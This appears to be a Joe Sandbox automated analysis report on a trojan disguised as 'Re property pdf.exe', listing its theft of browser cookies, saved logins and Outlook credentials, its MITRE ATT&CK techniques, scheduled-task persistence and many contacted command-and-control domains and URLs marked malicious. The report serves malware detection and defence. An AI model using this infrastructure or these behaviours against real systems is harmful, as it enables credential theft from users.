Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Queries volume information: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\PresentationHost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	312 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Re property pdf.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos
Re property pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos

Source	Detection	Scanner	Label
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.stopgazviganais.org	172.67.196.90	true	true	unknown
cortesads.net	3.33.130.190	true	true	unknown
www.setsea.info	203.161.41.204	true	true	unknown
www.662-home-nb.shop	199.59.243.227	true	true	unknown
b1-3-r111.kunlundns.top	129.226.56.200	true	true	unknown
bidiez.com	3.33.130.190	true	true	unknown
www.cqghwamc.top	221.128.225.57	true	true	unknown
whiterabbitgroup.pro	3.33.130.190	true	true	unknown
deltastem.net	3.33.130.190	true	true	unknown
rsantos.shop	84.32.84.32	true	true	unknown
kerennih31.click	104.223.44.195	true	true	unknown
cablecarrental.net	3.33.130.190	true	true	unknown
everyone.golf	3.33.130.190	true	true	unknown
www.hcpf.xyz	172.67.181.186	true	true	unknown
jsninja.net	3.33.130.190	true	true	unknown
www.kerennih31.click	unknown	unknown	true	unknown
www.jsninja.net	unknown	unknown	true	unknown
www.deltastem.net	unknown	unknown	true	unknown
www.rsantos.shop	unknown	unknown	true	unknown
www.cortesads.net	unknown	unknown	true	unknown
www.bidiez.com	unknown	unknown	true	unknown
www.whiterabbitgroup.pro	unknown	unknown	true	unknown
www.cablecarrental.net	unknown	unknown	true	unknown
www.everyone.golf	unknown	unknown	true	unknown
www.dxfwrc2h.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.cablecarrental.net/zqr8/	true	unknown
http://www.setsea.info/w90v/?2BWDG=pxDyyHWOZ6ShkfCEnqNJFogO2iS2H7GTGeagqdlkqhurb1KRhlhkT/xhewcGJOmLLVVpZKefMTitXH9lS8UNo0PZm0vp/3iOIb2YKVi8sc5e3OZy6VAXooU=&wfm=G6oTo8vx	true	unknown
http://www.662-home-nb.shop/axh7/	true	unknown
http://www.hcpf.xyz/uy9i/?2BWDG=A7IH/mkAt1Xlqot58OI0S8+25JAud1UhEF7OmTb3ULNYiQ53L6C3hDLglTjiGws4A/oSTbY/vB+Y5OcBKWIDb0nFjD7/puJZKInM70o9vL6/qU8mcXMhaE0=&wfm=G6oTo8vx	true	unknown
http://www.bidiez.com/puvv/	true	unknown
http://www.jsninja.net/a57a/?2BWDG=ufBwFiprob3VF6k6UE1279W30zXHAcoAMQ5DA8EncRwSSdWTAgjp/PT6qbRvKZhyWw7OmhD3dggL59zyh6BsMWoIasJTvdtYPi0tEctyZ7U7D7SOHDVEOnk=&wfm=G6oTo8vx	true	unknown
http://www.cqghwamc.top/90ie/?2BWDG=AFgPY5yU7pWSzToyhb8ap/LyT/DZ/ZjK5Re3S38zcWWIWncLwX1SLyCTcQH6faMmzCRwYrf9WSeYlPfjK7mc/MKG5u8f2O6ThoCO5oN+7y0XqZ+4yAUZ7Sk=&wfm=G6oTo8vx	true	unknown
http://www.cortesads.net/lpx9/?2BWDG=yfrMmnVL9edufzkkV67gQCynHe5+gBIRO00DGxhyT3HPHFaar1P6nPddxxsQoEWGQjZ/tmjPotgApkkCYtaEOgx0Q//NLra/l6H2B8DThfTi+Y2WyOSOvVY=&wfm=G6oTo8vx	true	unknown
http://www.kerennih31.click/czzt/?2BWDG=KAKG4dTjIDwNH0df8gU76RPra4TcXDDcoeBE7DNk+h+PFOgCIDI8J8PfDl8Ob7fEK2PQwbhHJxVFGH/KvrYWkV/dbZ6zqApOmDyx5MnRXvHLaXYjnht+BzI=&wfm=G6oTo8vx	true	unknown
http://www.cablecarrental.net/zqr8/?wfm=G6oTo8vx&2BWDG=eFg3/wX1FEtYOEOO4fQK8DyYn+9t5MnQ8eGMWFr4U+K0Svorcp+hU2bkMlDd81KIhBlHBG6GkgZ398FJiVEbDYmwZdVtcUsewSnSC4COghX7uWVmIVZIHjw=	true	unknown
http://www.662-home-nb.shop/axh7/?2BWDG=GVKSBocRMS2FyqXHPjOj9+OrOzTrYXMr5CJl/TLorgfRhIZbevfCFnb7jtSuw/m1FqikvKjm63UqVHDKIE9/vbA5AM47cN5qZi+S7x4iOYPaiZ0KOepXdRg=&wfm=G6oTo8vx	true	unknown
http://www.kerennih31.click/czzt/	true	unknown
http://www.bidiez.com/puvv/?2BWDG=T/LHAG9D/DKJAY4cGgIDBFFZtM7APAzZIDfepGdmMtSSWfF7Llgex9+86BRulJJgtl8XrMP4vqS7406AXnp/ur5mLgtmNl9eCp3snLA44a4sQebgdSQlBLY=&wfm=G6oTo8vx	true	unknown
http://www.deltastem.net/tlpb/?2BWDG=OZnoRuv0v/1Z/CA6HO2FEIDEprX/+1BF8Drjd+I5ZVz3FMGcbqM7cMP28c7FY+8MR3FV1C6ikaATRgc5pZIEy8I+zLLxgcbQl7nSgVZzV1ZQYFDgHJWD22o=&wfm=G6oTo8vx	true	unknown
http://www.dxfwrc2h.sbs/170y/	true	unknown
http://www.jsninja.net/a57a/	true	unknown
http://www.stopgazviganais.org/9ect/?2BWDG=U/rZoA1baL0SL+0w4EIlW/PNU4WGlNOJMCqR5hBTWTt3GNoAWeGWO/yRUixBoPW1Dvb67sqohAoonSA3rpdCYc2/1Z8mRmloUf5F40vQT8nvaVFEdkWR3Yo=&wfm=G6oTo8vx	true	unknown
http://www.hcpf.xyz/uy9i/	true	unknown
http://www.cqghwamc.top/90ie/	true	unknown
http://www.rsantos.shop/314m/	true	unknown
http://www.whiterabbitgroup.pro/o6ua/?wfm=G6oTo8vx&2BWDG=PtkUewcqXhXGGI7VMrya73N+Qsazq4YwnB9JayH4Wx/cNc5hllniCA+e9SSCe0uJ5GQ5bYdUyDtJB9Y3dlvxJqubD8cdfqbVHrRmeQrxGVujTIKJZNnfFV0=	true	unknown
http://www.deltastem.net/tlpb/	true	unknown
http://www.rsantos.shop/314m/?wfm=G6oTo8vx&2BWDG=/nEoHfYmGWKhq8vFGRFNK+CuQmseJQPwD7+4RgKMnEs9pXqONJL1vWb6ndeJft1RBApaVMH9KNEUZDtJl+3Iba72QDspFCGFBwch41sSsFCGmhRE7+Dvvlc=	true	unknown
http://www.whiterabbitgroup.pro/o6ua/	true	unknown
http://www.setsea.info/w90v/	true	unknown
http://www.stopgazviganais.org/9ect/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.mothersalwaysright.com/9ect/?2BWDG=U/rZoA1baL0SL	uGMCFMVqKoR.exe, 00000010.00000002.4213103511.00000000043D2000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4215978821.00000000060D2000.00000004.10000000.00040000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	uGMCFMVqKoR.exe, 00000010.00000002.4213103511.0000000004240000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4215978821.0000000005F40000.00000004.10000000.00040000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cn/cThe	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	uGMCFMVqKoR.exe, 00000010.00000002.4213103511.0000000003D8A000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4215978821.0000000005A8A000.00000004.10000000.00040000.00000000.sdmp	false		unknown
http://www.urwpp.deDPlease	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Re property pdf.exe, 00000000.00000002.1790854732.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, hwOHPmqcegxcxb.exe, 00000007.00000002.2009081564.0000000002D97000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	Re property pdf.exe, 00000000.00000002.1794226232.0000000005664000.00000004.00000020.00020000.00000000.sdmp, Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jsninja.net	uGMCFMVqKoR.exe, 00000010.00000002.4215060092.00000000059B9000.00000040.80000000.00040000.00000000.sdmp	false		unknown
http://www.carterandcone.coml	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.223.44.195	kerennih31.click	United States	8100	ASN-QUADRANET-GLOBALUS	true
172.67.181.186	www.hcpf.xyz	United States	13335	CLOUDFLARENETUS	true
221.128.225.57	www.cqghwamc.top	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	true
172.67.196.90	www.stopgazviganais.org	United States	13335	CLOUDFLARENETUS	true
129.226.56.200	b1-3-r111.kunlundns.top	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	true
199.59.243.227	www.662-home-nb.shop	United States	395082	BODIS-NJUS	true
203.161.41.204	www.setsea.info	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
84.32.84.32	rsantos.shop	Lithuania	33922	NTT-LT-ASLT	true
3.33.130.190	cortesads.net	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537675
Start date and time:	2024-10-19 12:55:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Re property pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/12@15/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 74 Number of non-executed functions: 264
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Re property pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
06:56:08	API Interceptor	2x Sleep call for process: Re property pdf.exe modified
06:56:10	API Interceptor	18x Sleep call for process: powershell.exe modified
06:56:13	API Interceptor	2x Sleep call for process: hwOHPmqcegxcxb.exe modified
06:57:26	API Interceptor	10142781x Sleep call for process: PresentationHost.exe modified
11:56:10	Task Scheduler	Run new task: hwOHPmqcegxcxb path: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.223.44.195	z7N__MERODEORDENDECOMPRANO8478PDF.exe	Get hash	malicious	FormBook	Browse	www.kerennih31.click/czzt/
104.223.44.195	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.kerennih31.click/195u/
221.128.225.57	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	www.cqghwamc.top/su8x/
221.128.225.57	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	www.cqghwamc.top/84h5/
199.59.243.227	#U8a02#U55ae#U63cf#U8ff0.vbs	Get hash	malicious	FormBook	Browse	www.notepad.mobi/4q0m/
	jOAcln1aPL.exe	Get hash	malicious	Unknown	Browse	hb-drye.com/cpanel/panel/uploads/Jpnisg.pdf
	jOAcln1aPL.exe	Get hash	malicious	Unknown	Browse	hb-drye.com/cpanel/panel/uploads/Jpnisg.pdf
	890927362736.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.virtu.industries/i9b0/
	na.hta	Get hash	malicious	Cobalt Strike, FormBook, GuLoader	Browse	www.forklift-jobs883.click/l9yc/
	OVERDUE BALANCE.exe	Get hash	malicious	FormBook	Browse	www.9net88.net/ge07/?1b=W4883DLpI&v6A=rInKjcPO3O96ojanc4NFv2coOl+G9i0Xo3vzod/XDYjf3VmyXg5Nkxs22tP8faITl6ID
	http://msnnss001.vastserve.com/	Get hash	malicious	Unknown	Browse	msnnss001.vastserve.com/_tr
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.donante-de-ovulos.biz/8lrv/
	Price Inquiry.exe	Get hash	malicious	FormBook	Browse	www.personal-loans-jp8.xyz/slxf/
	PR. No.1599-Rev.2.exe	Get hash	malicious	Unknown	Browse	www.adsdomain-195.click/ebca/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.hcpf.xyz	z7N__MERODEORDENDECOMPRANO8478PDF.exe	Get hash	malicious	FormBook	Browse	104.21.48.76
www.hcpf.xyz	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	104.21.48.76
www.cqghwamc.top	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	221.128.225.57
www.cqghwamc.top	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	221.128.225.57
www.setsea.info	z7N__MERODEORDENDECOMPRANO8478PDF.exe	Get hash	malicious	FormBook	Browse	203.161.41.204

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	39.65.207.167
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	119.53.167.219
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	58.23.226.155
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	101.19.247.249
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	221.200.182.100
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	153.99.176.204
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	27.221.63.25
	arm5.elf	Get hash	malicious	Unknown	Browse	182.115.97.111
	sparc.elf	Get hash	malicious	Unknown	Browse	60.20.54.121
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	113.4.58.64
CLOUDFLARENETUS	bat2.bat	Get hash	malicious	Unknown	Browse	188.114.97.3
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ufW7CDPEZ5.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	BcsUcRnDGx.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	41PbtwTtt7.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	f7goD45EHo.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	W4x0CDQAiw.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	oP7CbGHVDZ.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	f4Ghw1L3EH.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	4pzJGIIsej.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	bat2.bat	Get hash	malicious	Unknown	Browse	188.114.97.3
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ufW7CDPEZ5.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	BcsUcRnDGx.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	41PbtwTtt7.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
